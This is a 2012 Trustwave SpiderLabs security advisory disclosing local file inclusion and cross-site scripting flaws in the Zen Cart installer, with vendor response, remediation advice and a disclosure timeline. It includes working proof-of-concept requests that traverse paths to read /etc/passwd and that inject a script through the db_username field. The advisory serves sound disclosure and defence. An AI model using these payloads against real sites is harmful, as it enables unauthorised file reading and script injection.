CINXE.COM
锘縏rustwave SpiderLabs Security Advisory TWSL2012-004: Multiple Vulnerabilities in Zen Cart Published: 05/07/12 Version: 1.0 Vendor: Zen Ventures, LLC (http://www.zen-cart.com/) Product: Zen Cart Version affected: 1.5.0 and prior versions Product description: Zen Cart is an online store management system. It is PHP-based, using a MySQL database and HTML components. Credit: Jonathan Claudius of Trustwave SpiderLabs Finding 1: Local File Inclusion Vulnerabilities in 'main_page' parameters in '/zc_install/index.php' page CVE: CVE-2012-2433 After extracting the ZenCart source files on to a web server, but before the application is fully installed, local file inclusion vulnerabilities are present in the 'main_page' parameter of '/zc_install/index.php' page. Example(s): Performing LFI on 'main_page' parameters #Request(s) http://A.B.C.D/zencart/zc_install/index.php?main_page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/etc/passwd%00 #Response(s) <snip> root:x:0:0:root:/root:/bin/bash <snip> Finding 2: Local File Inclusion Vulnerability in 'language' parameter in '/zc_install/index.php' page CVE: CVE-2012-2434 After extracting the ZenCart source files on to a web server, but before the application is fully installed, local file inclusion vulnerabilities are present in the 'language' parameter of '/zc_install/index.php' page. Example(s): Performing LFI on 'language' parameter #Request http://A.B.C.D/zencart/zc_install/index.php?language=..%2F..%2F..%2F..%2F..%2F..%2F..%2F/etc/passwd%00 #Response(s) <snip> root:x:0:0:root:/root:/bin/bash <snip> Finding 3: Cross-Site Scripting Vulnerabilities in "db_username" parameter in '/zc_install/index.php' page CVE: CVE-2012-1413 After extracting the Zen Cart source files on to a web server, but before the application is fully installed, cross-site scripting vulnerabilities are present in the '/zc_install/index.php' page. Example(s): Performing XSS on "db_username" parameter #Request POST /store/zc_install/index.php?main_page=database_setup HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D/store/zc_install/index.php?main_page=database_setup Cookie: zenInstallId=lfij0ab7vde525qq048fib2g65 Content-Type: application/x-www-form-urlencoded Content-Length: 575 db_type=mysql&db_coll=utf8&db_host=localhost&db_username=%22%3E%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&db_pass=&db_name=zencart&db_prefix=&cache_type=none&sql_cache_dir=%2Fvar%2Fwww%2Fhtml%2Fstore%2Fcache&submit=Save+Database+Settings&zcinst%5Blanguage%5D=english&zcinst%5BDIR_FS_SQL_CACHE%5D=%2Fvar%2Fwww%2Fhtml%2Fstore%2Fcache&zcinst%5BDB_TYPE%5D=mysql&zcinst%5BDB_PREFIX%5D=&zcinst%5BDB_CHARSET%5D=utf8&zcinst%5BDB_SERVER%5D=localhost&zcinst%5BDB_SERVER_USERNAME%5D=&zcinst%5BDB_SERVER_PASSWORD%5D=&zcinst%5BDB_DATABASE%5D=zencart&zcinst%5BSQL_CACHE_METHOD%5D=none #Response(s) <--------------snip-----------> <div class="section"> <input type="text" id="db_username" name="db_username" tabindex="3" value=""><script>alert('123')</script>" size="18" /> <label for="db_username">Database Username</label> <p>What is the username used to connect to the database? An example username is 'root'.<a href="javascript:popupWindow('popup_help_screen.php?error_code=16')"> more info...</a></p> </div> <--------------snip-----------> <input type="hidden" name="zcinst[DB_SERVER]" value="localhost" /> <input type="hidden" name="zcinst[DB_SERVER_USERNAME]" value=""><script>alert('123')</script>" /> <input type="hidden" name="zcinst[DB_SERVER_PASSWORD]" value="" /> <--------------snip-----------> Vendor Response: The vendor will provide a fix for the "db_username" parameter Cross-Site Scripting finding in the next release and the Local File Inclusion findings are under evaluation. The vendor advises that users should remove the zc_install folder after installation as a workaround. However, Trustwave SpiderLabs urges caution in situations where the Zen Cart installation script is provided as part of a default image. This is often done as a convenience on hosting providers, even in cases where the client does not use the software. It is a best practice to ensure that no installation scripts are exposed to outsiders, and these vulnerabilities reinforce the importance of this step. Remediation Steps: Administrators can mitigate these issues by removing the installation scripts after setup and/or defining rules within a web application firewall (WAF) solution. ModSecurity (http://www.modsecurity.org/) has added rules to the commercial rules feed for these issues, and Trustwave's vulnerability scanning solution, TrustKeeper, has been updated to detect exposed installation scripts. Revision History: 02/03/12 - XSS finding disclosed 02/17/12 - Vendor contact attempted 02/17/12 - Vendor confirmed XSS finding 02/20/12 - Requested timeline for fix 02/27/12 - Vendor contact attempted 03/05/12 - Vendor contact attempted 03/26/12 - LFI Vulnerabilities disclosed 04/24/12 - Vendor contact attempted 05/04/12 - Vendor provided workaround 05/07/12 - Advisory published About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.